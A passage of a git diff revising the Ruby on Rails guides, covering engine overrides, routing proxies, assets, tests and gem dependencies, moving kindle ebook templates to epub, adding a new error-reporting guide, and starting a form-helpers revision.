+It is very important that the override _reopens_ the class or module. Using the
+`class` or `module` keywords would define them if they were not already in
+memory, which would be incorrect because the definition lives in the engine.
+Using
+[`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval)
+as shown above ensures you are reopening an existing module.
 
-**Adding** `Article#time_since_created` and **Overriding** `Article#summary`:
+#### Reopening Existing Classes Using ActiveSupport::Concern
 
-```ruby
-# MyApp/app/models/blorgh/article.rb
+While
+[`Class#class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval)
+is useful for making simple runtime changes to a class, more complex
+modifications—especially those involving multiple modules with dependencies—are
+often better handled using
+[`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
+It provides a structured way to define module behavior and dependencies,
+ensuring consistent load order and making it easier to organize and compose
+reusable code.
 
-class Blorgh::Article < ApplicationRecord
-  include Blorgh::Concerns::Models::Article
+Suppose you want to extend the `Blorgh::Article` model from the host application
+by:
 
-  def time_since_created
-    Time.current - created_at
-  end
+- Adding a new instance method: `time_since_created`
+- Overriding the existing `summary` method
 
-  def summary
-    "#{title} - #{truncate(text)}"
-  end
-end
-```
+Here’s how you can do it cleanly using `ActiveSupport::Concern`:
 
-```ruby
-# Blorgh/app/models/article.rb
+##### Defining a Concern
 
-class Article < ApplicationRecord
-  include Blorgh::Concerns::Models::Article
-end
-```
+First, define a concern that contains the shared behavior:
 
 ```ruby
-# Blorgh/lib/concerns/models/article.rb
-
+# blorgh/lib/concerns/models/article.rb
 module Blorgh::Concerns::Models::Article
   extend ActiveSupport::Concern
 
-  # 'included do' causes the included code to be evaluated in the
-  # context where it is included (article.rb), rather than being
-  # executed in the module's context (blorgh/concerns/models/article).
   included do
     attr_accessor :author_name
     belongs_to :author, class_name: "User"
@@ -1223,164 +1478,354 @@ module Blorgh::Concerns::Models::Article
 
   module ClassMethods
     def some_class_method
-      'some class method string'
+      "some class method string"
     end
   end
 end
 ```
 
+##### Setting Up the Engine’s Base Model
+
+Next, include the concern in the engine’s `Article` model. This ensures that
+engine users who don’t override the model still benefit from the concern’s
+behavior:
+
+```ruby
+# blorgh/app/models/blorgh/article.rb
+module Blorgh
+  class Article < ApplicationRecord
+    include Blorgh::Concerns::Models::Article
+  end
+end
+```
+
+##### Extending in the Host Application
+
+Finally, the host application can override and extend the model by reopening it.
+Here we add a new instance method and override the existing `summary` method:
+
+```ruby
+# host_application/app/models/blorgh/article.rb
+class Blorgh::Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+```
+
+### Autoloading and Engines
+
+Please check the [Autoloading and Reloading
+Constants](autoloading_and_reloading_constants.html#autoloading-and-engines)
+guide for more information about autoloading and engines.
+
 ### Overriding Views
 
-When Rails looks for a view to render, it will first look in the `app/views`
-directory of the application. If it cannot find the view there, it will check in
-the `app/views` directories of all engines that have this directory.
+When the host application looks for a view to render, it will first look in the
+`app/views` directory of the application. If it cannot find the view there, it
+will then check in the `app/views` directories of all engines that have this
+directory.
 
-When the application is asked to render the view for `Blorgh::ArticlesController`'s
-index action, it will first look for the path
+For example, when the host application is asked to render the view for
+`Blorgh::ArticlesController`'s index action, it will first look for the path
 `app/views/blorgh/articles/index.html.erb` within the application. If it cannot
-find it, it will look inside the engine.
+find it, it will then look inside the engine.
 
-You can override this view in the application by simply creating a new file at
+You can override this view in the host application by creating a new file at
 `app/views/blorgh/articles/index.html.erb`. Then you can completely change what
-this view would normally output.
-
-Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb`
-and put this content in it:
+this view would normally output, like the following:
 
 ```html+erb
 <h1>Articles</h1>
 <%= link_to "New Article", new_article_path %>
 <% @articles.each do |article| %>
   <h2><%= article.title %></h2>
-  <small>By <%= article.author %></small>
+  <small>By <%= article.author.name %></small>
   <%= simple_format(article.text) %>
   <hr>
 <% end %>
 ```
 
+The new view at `localhost:3000/blog/articles` will now display the updated view
+with the new content.
+
 ### Routes
 
-Routes inside an engine are isolated from the application by default. This is
-done by the `isolate_namespace` call inside the `Engine` class. This essentially
-means that the application and its engines can have identically named routes and
-they will not clash.
+Routes defined inside a Rails engine are isolated from the main application by
+default. This isolation is established by the
+[`isolate_namespace`](#the-engine-class-definition-lib-blorgh-engine-rb) call in
+the engine’s `Engine` class. It allows both the engine and the application to
+define routes with the same names—like `articles_path`—without conflict.
+
+#### Defining Engine Routes
 
-Routes inside an engine are drawn on the `Engine` class within
-`config/routes.rb`, like this:
+You can define routes inside the engine using the engine's route set:
 
 ```ruby
+# blorgh/config/routes.rb
 Blorgh::Engine.routes.draw do
   resources :articles
 end
 ```
 
-By having isolated routes such as this, if you wish to link to an area of an
-engine from within an application, you will need to use the engine's routing
-proxy method. Calls to normal routing methods such as `articles_path` may end up
-going to undesired locations if both the application and the engine have such a
-helper defined.
+When your engine is mounted into a host application (e.g., at `/blog`), this
+creates routes like:
 
-For instance, the following example would go to the application's `articles_path`
-if that template was rendered from the application, or the engine's `articles_path`
-if it was rendered from the engine:
+* `/blog/articles` → `Blorgh::ArticlesController#index`
 
-```erb
+#### Linking to Engine Routes from the Application
+
+Because routes are namespaced and isolated, route helpers like `articles_path`
+may refer to either the engine's route or the application's route, depending on
+where the view is rendered from.
+
+For example:
+
+```html+erb
 <%= link_to "Blog articles", articles_path %>
 ```
 
-To make this route always use the engine's `articles_path` routing helper method,
-we must call the method on the routing proxy method that shares the same name as
-the engine.
+If rendered from the application, it will likely resolve to the application's
+`articles_path`. If rendered from inside the engine, it may resolve to the
+engine's `articles_path`.
 
-```erb
+To ensure you're linking to the engine's route, use the engine's named routing
+proxy. For the `blorgh` engine, that would be:
+
+```html+erb
 <%= link_to "Blog articles", blorgh.articles_path %>
 ```
 
-If you wish to reference the application inside the engine in a similar way, use
-the `main_app` helper:
+This explicitly tells Rails to use the `articles_path` defined in the `Blorgh`
+engine.
+
+The name of the proxy method (`blorgh`) matches the name of the engine as
+declared in `engine.rb` via `isolate_namespace Blorgh`.
+
+#### Linking to Application Routes from the Engine
+
+If you need to reference a route defined in the main application from within the
+engine (for example, linking to the homepage), you can use the `main_app`
+routing proxy:
 
 ```erb
 <%= link_to "Home", main_app.root_path %>
 ```
 
-If you were to use this inside an engine, it would **always** go to the
-application's root. If you were to leave off the `main_app` "routing proxy"
-method call, it could potentially go to the engine's or application's root,
-depending on where it was called from.
+This ensures the route always points to the host application, even when called
+from within engine views.
 
-If a template rendered from within an engine attempts to use one of the
-application's routing helper methods, it may result in an undefined method call.
-If you encounter such an issue, ensure that you're not attempting to call the
-application's routing methods without the `main_app` prefix from within the
-engine.
+#### Targeted Routes
+
+If you call a route helper like `root_path` from inside an engine view, and both
+the engine and application define a root route, Rails may not know which one to
+use. Or worse, it may raise an error if the route doesn't exist in the engine.
+
+To prevent this, use `main_app.root_path` to target the application, and set
+`blorgh.root_path` (or your engine's namespace) to target the engine.
+
+Being explicit with routing proxies ensures that your routes behave consistently
+and avoids surprising bugs when working across engines and applications.
 
 ### Assets
 
-Assets within an engine work in an identical way to a full application. Because
-the engine class inherits from `Rails::Engine`, the application will know to
-look up assets in the engine's 'app/assets' and 'lib/assets' directories.
+Assets in a Rails engine work just like they do in a full Rails application.
+Because your engine inherits from Rails::Engine, Rails will automatically look
+for assets in the engine’s `app/assets` and `lib/assets` directories.
 
-Like all of the other components of an engine, the assets should be namespaced.
-This means that if you have an asset called `style.css`, it should be placed at
-`app/assets/stylesheets/[engine name]/style.css`, rather than
-`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
-possibility that the host application could have an asset named identically, in
-which case the application's asset would take precedence and the engine's one
-would be ignored.
+To avoid naming conflicts with the host application, all engine assets should be
+namespaced under a subdirectory that matches the engine’s name. For example,
+instead of placing a stylesheet directly at `app/assets/stylesheets/style.css`,
+you should place it at `app/assets/stylesheets/<engine_name>/style.css`, which
+would be `app/assets/stylesheets/blorgh/style.css` for the `blorgh` engine.
 
-Imagine that you did have an asset located at
-`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
-application, just use `stylesheet_link_tag` and reference the asset as if it
-were inside the engine:
+This prevents collisions with assets in the host application that may have the
+same filename.
 
-```erb
+To include a namespaced engine asset in the host application, reference it using
+its full path with the `stylesheet_link_tag` (or similar helpers):
+
+```html+erb
 <%= stylesheet_link_tag "blorgh/style.css" %>
 ```
 
-You can also specify these assets as dependencies of other assets using Asset
-Pipeline require statements in processed files:
+This will correctly load the stylesheet located at
+`app/assets/stylesheets/blorgh/style.css` within the engine.
 
-```
+If you’re using the Asset Pipeline (Sprockets), you can also include engine
+assets as dependencies within other stylesheets using a `require` directive:
+
+```css
 /*
  *= require blorgh/style
-*/
+ */
 ```
 
-INFO. Remember that in order to use languages like Sass or CoffeeScript, you
-should add the relevant library to your engine's `.gemspec`.
+This allows engine styles to be bundled into application-wide stylesheets.
 
-### Separate Assets & Precompiling
+INFO: Remember that in order to use languages like Sass or Haml, you should add
+the relevant library to your engine's `.gemspec`.
 
-There are some situations where your engine's assets are not required by the
-host application. For example, say that you've created an admin functionality
-that only exists for your engine. In this case, the host application doesn't
-need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
-these assets. It doesn't make sense for the host app to include
-`"blorgh/admin.css"` in its stylesheets. In this situation, you should
-explicitly define these assets for precompilation.  This tells sprockets to add
-your engine assets when `bin/rails assets:precompile` is triggered.
+### Separate Assets and Precompiling
 
-You can define assets for precompilation in `engine.rb`:
+In some cases, your engine may include assets that are not required by the host
+application. For example, suppose your engine provides an admin interface with
+its own layout and styles. These assets, such as `admin.css` or `admin.js`, are
+only used within the engine and don't need to be included in the host
+application's asset pipeline.
+
+In such situations, it doesn’t make sense for the host app to reference these
+assets manually (e.g., via `stylesheet_link_tag "blorgh/admin"`). Instead, you
+should explicitly tell Rails to precompile these assets so they’re available
+when the engine is used.
+
+To do this, you can add a precompilation hook in your engine's engine.rb file:
 
 ```ruby
-initializer "blorgh.assets.precompile" do |app|
-  app.config.assets.precompile += %w( admin.js admin.css )
+# lib/blorgh/engine.rb
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+
+    initializer "blorgh.assets.precompile" do |app|
+      app.config.assets.precompile += %w( blorgh/admin.js blorgh/admin.css )
+    end
+  end
 end
 ```
 
+This ensures that these engine-specific assets will be compiled when running:
+
+```bash
+bin/rails assets:precompile
+```
+
+NOTE: Be sure to include the full namespaced paths (e.g. `blorgh/admin.css`) so
+Sprockets can locate the correct files within your engine.
+
 For more information, read the [Asset Pipeline guide](asset_pipeline.html).
 
-### Other Gem Dependencies
+### Writing Tests
+
+The `test/` directory works just like it does in a standard Rails application.
+You can write unit tests, functional tests, and integration tests to ensure your
+engine behaves as expected.
+
+When a Rails engine is generated, it includes a minimal host application inside
+the `test/dummy` directory. This "dummy app" is used solely for development and
+testing—it simulates how your engine will behave when used in a real
+application. You can extend the dummy app by adding controllers, models, or
+views as needed to help you test the engine’s functionality in context.
+
+#### Functional and Integration Tests
+
+Since engines are not full applications, they need to be mounted into a host in
+order to test things like routing and controllers. That’s where the dummy app
+comes in.
+
+When writing controller or integration tests, your tests need to be aware of the
+engine’s routing context. Rails doesn’t automatically assume you’re using the
+engine’s routes, so if you write a test like this:
+
+```ruby
+# test/controllers/blorgh/articles_controller_test.rb
+module Blorgh
+  class ArticlesControllerTest < ActionDispatch::IntegrationTest
+    test "can get index" do
+      get articles_path
+      assert_response :success
+    end
+  end
+end
+```
+
+It might fail because `articles_path` could resolve to the dummy app (or not at
+all), rather than your engine. To fix this, you must tell Rails explicitly to
+use the engine's routes in your test setup:
+
+```ruby
+# test/controllers/blorgh/articles_controller_test.rb
+module Blorgh
+  class ArticlesControllerTest < ActionDispatch::IntegrationTest
+    setup do
+      @routes = Engine.routes
+    end
+
+    test "can get index" do
+      get articles_path
+      assert_response :success
+    end
+  end
+end
+```
+
+This ensures the test uses the routing context defined in
+`Blorgh::Engine.routes`, and that the path helpers like `articles_path` map
+correctly to `/blog/articles` (since your engine is mounted at `/blog`).
+
+NOTE: Even though the engine is mounted at `/blog` in the host app, you don't
+need to include that prefix in test paths. Setting `@routes = Engine.routes`
+scopes everything correctly for you.
+
+The following test checks that the index page for articles loads successfully
+and renders the expected heading.
+
+```ruby
+# test/controllers/blorgh/articles_controller_test.rb
+require "test_helper"
+
+module Blorgh
+  class ArticlesControllerTest < ActionDispatch::IntegrationTest
+    setup do
+      @routes = Engine.routes
+    end
+
+    test "can get index" do
+      get articles_path
+      assert_response :success
+      assert_select "h1", "Articles"
+    end
+  end
+end
+```
+
+#### Unit and Model Tests
+
+You can test your engine’s models just like in a regular Rails app:
+
+```ruby
+# test/models/blorgh/article_test.rb
+require "test_helper"
+
+module Blorgh
+  class ArticleTest < ActiveSupport::TestCase
+    test "title is required" do
+      article = Article.new(text: "Some content")
+      assert_not article.valid?
+      assert_includes article.errors[:title], "can't be blank"
+    end
+  end
+end
+```
+
+### Gem Dependencies
 
 Gem dependencies inside an engine should be specified inside the `.gemspec` file
-at the root of the engine. The reason is that the engine may be installed as a
-gem. If dependencies were to be specified inside the `Gemfile`, these would not
-be recognized by a traditional gem install and so they would not be installed,
-causing the engine to malfunction.
+at the root of the engine to allow the engine to be installed as a gem.
+
+NOTE: If the dependencies were to be specified inside the `Gemfile`, instead of
+the `.gemspec` file, these would not be recognized by a traditional `gem
+install` and so they would not be installed, causing the engine to malfunction.
 
-To specify a dependency that should be installed with the engine during a
-traditional `gem install`, specify it inside the `Gem::Specification` block
-inside the `.gemspec` file in the engine:
+To specify a dependency that should be installed with the engine during a `gem
+install`, specify it inside the `Gem::Specification` block inside the `.gemspec`
+file in the engine:
 
 ```ruby
 s.add_dependency "moo"
@@ -1395,15 +1840,15 @@ s.add_development_dependency "moo"
 
 Both kinds of dependencies will be installed when `bundle install` is run inside
 of the application. The development dependencies for the gem will only be used
-when the tests for the engine are running.
+when the development and tests for the engine are running.
 
-Note that if you want to immediately require dependencies when the engine is
-required, you should require them before the engine's initialization. For
-example:
+If you want to immediately require dependencies when the engine is required, you
+should require them before the engine's initialization. For example, in the
+`engine.rb` file :
 
 ```ruby
-require 'other_engine/engine'
-require 'yet_another_engine/engine'
+require "other_engine/engine"
+require "yet_another_engine/engine"
 
 module MyEngine
   class Engine < ::Rails::Engine
diff --git a/guides/source/kindle/copyright.html.erb b/guides/source/epub/copyright.html.erb
similarity index 100%
rename from guides/source/kindle/copyright.html.erb
rename to guides/source/epub/copyright.html.erb
diff --git a/guides/source/epub/layout.html.erb b/guides/source/epub/layout.html.erb
new file mode 100644
index 0000000000000..202850fda2539
--- /dev/null
+++ b/guides/source/epub/layout.html.erb
@@ -0,0 +1,22 @@
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" href="<%= digest_path('stylesheets/epub.css') %>" />
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+</head>
+<body class="guide">
+
+  <% if content_for? :header_section %>
+    <%= yield :header_section %>
+    <div class="pagebreak"></div>
+  <% end %>
+
+  <% if content_for? :index_section %>
+    <%= yield :index_section %>
+    <div class="pagebreak"></div>
+  <% end %>
+
+  <%= yield.html_safe %>
+</body>
+</html>
diff --git a/guides/source/epub/rails_guides.opf.erb b/guides/source/epub/rails_guides.opf.erb
new file mode 100644
index 0000000000000..d552725cf61ad
--- /dev/null
+++ b/guides/source/epub/rails_guides.opf.erb
@@ -0,0 +1,48 @@
+<?xml version="1.0"  encoding="UTF-8"?>
+<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides">
+ <metadata xmlns:opf="http://www.idpf.org/2007/opf" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+  <dc:identifier id="RailsGuides" opf:scheme="uuid"><%= @uuid %></dc:identifier>
+  <dc:title>Ruby on Rails Guides (<%= @version || "main@#{@edge[0, 7]}" %>)</dc:title>
+  <dc:language>en</dc:language>
+  <dc:creator>Ruby on Rails</dc:creator>
+  <dc:publisher>Ruby on Rails</dc:publisher>
+  <dc:subject>Reference</dc:subject>
+  <dc:date><%= Time.now.strftime('%Y-%m-%dT%H:%M:%SZ') %></dc:date>
+  <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description>
+  <meta name="cover" content="cover"/>
+</metadata>
+
+<manifest>
+  <!-- HTML content files [mandatory] -->
+  <% documents_flat.each do |document| %>
+    <item id="<%= document['url'] %>" media-type="application/xhtml+xml" href="<%= document['url'] %>" />
+  <% end %>
+
+  <% %w{toc.html welcome.html copyright.html}.each do |url| %>
+    <item id="<%= url %>" media-type="application/xhtml+xml" href="<%= url %>" />
+  <% end %>
+
+  <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx"/>
+
+  <item id="cover" media-type="image/jpeg" href="images/rails_guides_kindle_cover.jpg"/>
+  <item id="stylesheet" href="stylesheets/epub.css" media-type="text/css"/>
+
+   <!-- Images -->
+   <% all_images.each do |image| %>
+   <item id="<%= image %>" media-type="image/<%= image.split('.').last %>" href="<%= image %>" />
+   <% end %>
+</manifest>
+
+<spine toc="toc">
+  <itemref idref="toc.html" />
+  <itemref idref="welcome.html" />
+  <itemref idref="copyright.html" />
+  <% documents_flat.each do |document| %>
+    <itemref idref="<%= document['url'] %>" />
+  <% end %>
+</spine>
+
+<guide>
+	<reference type="toc" title="Table of Contents" href="toc.html"></reference>
+</guide>
+</package>
diff --git a/guides/source/epub/toc.html.erb b/guides/source/epub/toc.html.erb
new file mode 100644
index 0000000000000..7cafe00b675e8
--- /dev/null
+++ b/guides/source/epub/toc.html.erb
@@ -0,0 +1,24 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<h1>Table of Contents</h1>
+<div id="toc">
+  <ul><li><a href="welcome.html">Welcome</a></li></ul>
+
+  <% documents_by_section.each_with_index do |section, i| %>
+    <h3><%= "#{i + 1}." %> <%= section['name'] %></h3>
+    <ul>
+      <% section['documents'].each do |document| %>
+        <li>
+          <a href="<%= document['url'] %>"><%= document['name'] %></a>
+          <% if document['work_in_progress']%>(WIP)<% end %>
+        </li>
+      <% end %>
+    </ul>
+  <% end %>
+<hr />
+<ul>
+  <li><a href="copyright.html">Copyright &amp; License</a></li>
+</ul>
+</div>
diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/epub/toc.ncx.erb
similarity index 87%
rename from guides/source/kindle/toc.ncx.erb
rename to guides/source/epub/toc.ncx.erb
index 5094fea4ca898..1115cd7f07a20 100644
--- a/guides/source/kindle/toc.ncx.erb
+++ b/guides/source/epub/toc.ncx.erb
@@ -18,7 +18,7 @@
     </navLabel>
     <content src="toc.html"/>
 
-    <navPoint class="section" id="welcome" playOrder="1">
+    <navPoint class="section" id="start" playOrder="1">
       <navLabel>
         <text>Introduction</text>
       </navLabel>
@@ -30,11 +30,7 @@
         </navLabel>
         <content src="welcome.html"/>
       </navPoint>
-      <navPoint class="article" id="credits" playOrder="3">
-        <navLabel><text>Credits</text></navLabel>
-        <content src="credits.html"/>
-      </navPoint>
-      <navPoint class="article" id="copyright" playOrder="4">
+      <navPoint class="article" id="copyright" playOrder="3">
         <navLabel><text>Copyright &amp; License</text></navLabel>
         <content src="copyright.html"/>
       </navPoint>
diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/epub/welcome.html.erb
similarity index 100%
rename from guides/source/kindle/welcome.html.erb
rename to guides/source/epub/welcome.html.erb
diff --git a/guides/source/error_reporting.md b/guides/source/error_reporting.md
new file mode 100644
index 0000000000000..c5c1857298500
--- /dev/null
+++ b/guides/source/error_reporting.md
@@ -0,0 +1,308 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Error Reporting in Rails Applications
+========================
+
+This guide introduces ways to manage errors in a Rails application.
+
+After reading this guide, you will know:
+
+* How to use Rails' error reporter to capture and report errors.
+* How to create custom subscribers for your error-reporting service.
+
+--------------------------------------------------------------------------------
+
+Error Reporting
+---------------
+
+The Rails [error
+reporter](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html)
+provides a standard way to collect errors that occur in your application and
+report them to your preferred service or location (e.g. you could report the
+errors to a monitoring service such as
+Sentry).
+
+It aims to replace boilerplate error-handling code like this:
+
+```ruby
+begin
+  do_something
+rescue SomethingIsBroken => error
+  MyErrorReportingService.notify(error)
+end
+```
+
+with a consistent interface:
+
+```ruby
+Rails.error.handle(SomethingIsBroken) do
+  do_something
+end
+```
+
+Rails wraps all executions (such as HTTP
+requests,
+[jobs](active_job_basics.html), and [rails runner](command_line.html#bin-rails-runner) invocations) in the error reporter,
+so any unhandled errors raised in your app will automatically be reported to
+your error-reporting service via their subscribers.
+
+Rails automatically injects 2 keys into context of a report:
+
+* `:controller` - which value is an instance of controller for request based reports
+* `:job` - which value is an instance of job for Active Job based reports
+
+NOTE: For HTTP requests, errors present in `ActionDispatch::ExceptionWrapper.rescue_responses`
+are not reported as they do not result in server errors (500) and generally aren't bugs that need to be addressed.
+
+This means that third-party error-reporting libraries no longer need to insert a
+[Rack](rails_on_rack.html) middleware or do any monkey-patching to capture
+unhandled errors. Libraries that use [Active
+Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use
+this to non-intrusively report warnings that would previously have been lost in
+logs.
+
+NOTE: Using the Rails error reporter is optional, as other means of capturing
+errors still work.
+
+### Subscribing to the Reporter
+
+To use the error reporter with an external service, you need a _subscriber_. A
+subscriber can be any Ruby object with a `report` method. When an error occurs
+in your application or is manually reported, the Rails error reporter will call
+this method with the error object and some options.
+
+NOTE: Some error-reporting libraries, such as Sentry's
+and Honeybadger's,
+automatically register a subscriber for you.
+
+You may also create a custom subscriber. For example:
+
+```ruby
+# config/initializers/error_subscriber.rb
+class ErrorSubscriber
+  def report(error, handled:, severity:, context:, source: nil)
+    MyErrorReportingService.report_error(error, context: context, handled: handled, level: severity)
+  end
+end
+```
+
+After defining the subscriber class, you can register it by calling the
+[`Rails.error.subscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-subscribe)
+method:
+
+```ruby
+Rails.error.subscribe(ErrorSubscriber.new)
+```
+
+You can register as many subscribers as you wish. Rails will call them in the
+order in which they were registered.
+
+It is also possible to unregister a subscriber by calling
+[`Rails.error.unsubscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unsubscribe).
+This may be useful if you'd like to replace or remove a subscriber added by one
+of your dependencies. Both `subscribe` and `unsubscribe` can take either a
+subscriber or a class as follows:
+
+```ruby
+subscriber = ErrorSubscriber.new
+Rails.error.unsubscribe(subscriber)
+# or
+Rails.error.unsubscribe(ErrorSubscriber)
+```
+
+NOTE: The Rails error reporter will always call registered subscribers,
+regardless of your environment. However, many error-reporting services only
+report errors in production by default. You should configure and test your setup
+across environments as needed.
+
+### Using the Error Reporter
+
+Rails error reporter has four methods that allow you to report methods in
+different ways:
+
+* `Rails.error.handle`
+* `Rails.error.record`
+* `Rails.error.report`
+* `Rails.error.unexpected`
+
+#### Reporting and Swallowing Errors
+
+The
+[`Rails.error.handle`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-handle)
+method will report any error raised within the block. It will then **swallow**
+the error, and the rest of your code outside the block will continue as normal.
+
+```ruby
+result = Rails.error.handle do
+  1 + "1" # raises TypeError
+end
+result # => nil
+1 + 1 # This will be executed
+```
+
+If no error is raised in the block, `Rails.error.handle` will return the result
+of the block, otherwise it will return `nil`. You can override this by providing
+a `fallback`:
+
+```ruby
+user = Rails.error.handle(fallback: -> { User.anonymous }) do
+  User.find(params[:id])
+end
+```
+
+#### Reporting and Re-raising Errors
+
+The
+[`Rails.error.record`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-record)
+method will report errors to all registered subscribers and then **re-raise**
+the error, meaning that the rest of your code won't execute.
+
+```ruby
+Rails.error.record do
+  1 + "1" # raises TypeError
+end
+1 + 1 # This won't be executed
+```
+
+If no error is raised in the block, `Rails.error.record` will return the result
+of the block.
+
+#### Manually Reporting Errors
+
+You can also manually report errors by calling
+[`Rails.error.report`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-report):
+
+```ruby
+begin
+  # code
+rescue StandardError => e
+  Rails.error.report(e)
+end
+```
+
+Any options you pass will be passed on to the error subscribers.
+
+#### Reporting Unexpected Errors
+
+You can report any unexpected error by calling
+[`Rails.error.unexpected`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unexpected").
+
+When called in production, this method will return nil after the error is
+reported and the execution of your code will continue.
+
+When called in development or test, the error will be wrapped in a new error class (to
+ensure it's not being rescued higher in the stack) and surfaced to the developer
+for debugging.
+
+For example:
+
+```ruby
+def edit
+  if published?
+    Rails.error.unexpected("[BUG] Attempting to edit a published article, that shouldn't be possible")
+    false
+  end
+  # ...
+end
+```
+
+NOTE: This method is intended to gracefully handle any errors that may occur in
+production, but that aren't anticipated to be the result of typical use.
+
+### Error-reporting Options
+
+The reporting APIs `#handle`, `#record`, and `#report` support the following
+options, which are then passed along to all registered subscribers:
+
+- `handled`: a `Boolean` to indicate if the error was handled. This is set to
+  `true` by default. `#record` sets this to `false`.
+- `severity`: a `Symbol` describing the severity of the error. Expected values
+  are: `:error`, `:warning`, and `:info`. `#handle` sets this to `:warning`,
+  while `#record` sets it to `:error`.
+- `context`: a `Hash` to provide more context about the error, like request or
+  user details
+- `source`: a `String` about the source of the error. The default source is
+  `"application"`. Errors reported by internal libraries may set other sources;
+  the Redis cache library may use `"redis_cache_store.active_support"`, for
+  instance. Your subscriber can use the source to ignore errors you aren't
+  interested in.
+
+```ruby
+Rails.error.handle(context: { user_id: user.id }, severity: :info) do
+  # ...
+end
+```
+
+### Setting Context Globally
+
+In addition to setting context through the `context` option, you can use
+[`Rails.error.set_context`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-set_context).
+For example:
+
+```ruby
+Rails.error.set_context(section: "checkout", user_id: @user.id)
+```
+
+Any context set this way will be merged with the `context` option
+
+```ruby
+Rails.error.set_context(a: 1)
+Rails.error.handle(context: { b: 2 }) { raise }
+# The reported context will be: {:a=>1, :b=>2}
+Rails.error.handle(context: { b: 3 }) { raise }
+# The reported context will be: {:a=>1, :b=>3}
+```
+
+### Filtering by Error Classes
+
+With `Rails.error.handle` and `Rails.error.record`, you can also choose to only
+report errors of certain classes. For example:
+
+```ruby
+Rails.error.handle(IOError) do
+  1 + "1" # raises TypeError
+end
+1 + 1 # TypeErrors are not IOErrors, so this will *not* be executed
+```
+
+Here, the `TypeError` will not be captured by the Rails error reporter. Only
+instances of  `IOError` and its descendants will be reported. Any other errors
+will be raised as normal.
+
+### Disabling Notifications
+
+You can prevent a subscriber from being notified of errors for the duration of a
+block by calling
+[`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable).
+Similarly to `subscribe` and `unsubscribe`, you can pass in either the
+subscriber itself, or its class.
+
+```ruby
+Rails.error.disable(ErrorSubscriber) do
+  1 + "1" # TypeError will not be reported via the ErrorSubscriber
+end
+```
+
+NOTE: This can also be helpful for third-party error reporting services who may
+want to manage error handling a different way, or higher in the stack.
+
+Error-reporting Libraries
+------------------------
+
+Error-reporting libraries can register their subscribers in a
+[Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html):
+
+```ruby
+module MySdk
+  class Railtie < ::Rails::Railtie
+    initializer "my_sdk.error_subscribe" do
+      Rails.error.subscribe(MyErrorSubscriber.new)
+    end
+  end
+end
+```
+
+NOTE: If you register an error subscriber, but still have other error mechanisms
+like a Rack middleware, you may end up with errors reported multiple times. You
+should either remove your other mechanisms or adjust your report functionality
+so it skips reporting an error it has seen before.
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 8ad76ad01e6fe..91d3fca7be58e 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -1,14 +1,14 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
-Form Helpers
-============
+Action View Form Helpers
+========================
 
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.
+Forms are a common interface for user input in web applications. However, form markup can be tedious to write and maintain because of the need to handle form controls, naming, and attributes. Rails simplifies this by providing view helpers, which are methods that output HTML form markup. This guide will help you understand the different helper methods and when to use each.
 
 After reading this guide, you will know:
 
-* How to create search forms and similar kind of generic forms not representing any specific model in your application.
-* How to make model-centric forms for creating and editing specific database records.
+* How to create basic forms, such as a search form.
+* How to work with model-based forms for creating and editing specific database records.
 * How to generate select boxes from multiple types of data.
 * What date and time helpers Rails provides.
 * What makes a file upload form different.
@@ -17,701 +17,947 @@ After reading this guide, you will know:
 
 --------------------------------------------------------------------------------
 
-NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
+This guide is not intended to be a complete list of all available form helpers. Please refer to [the Rails API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) for an exhaustive list of form helpers and their arguments.
 
-Dealing with Basic Forms
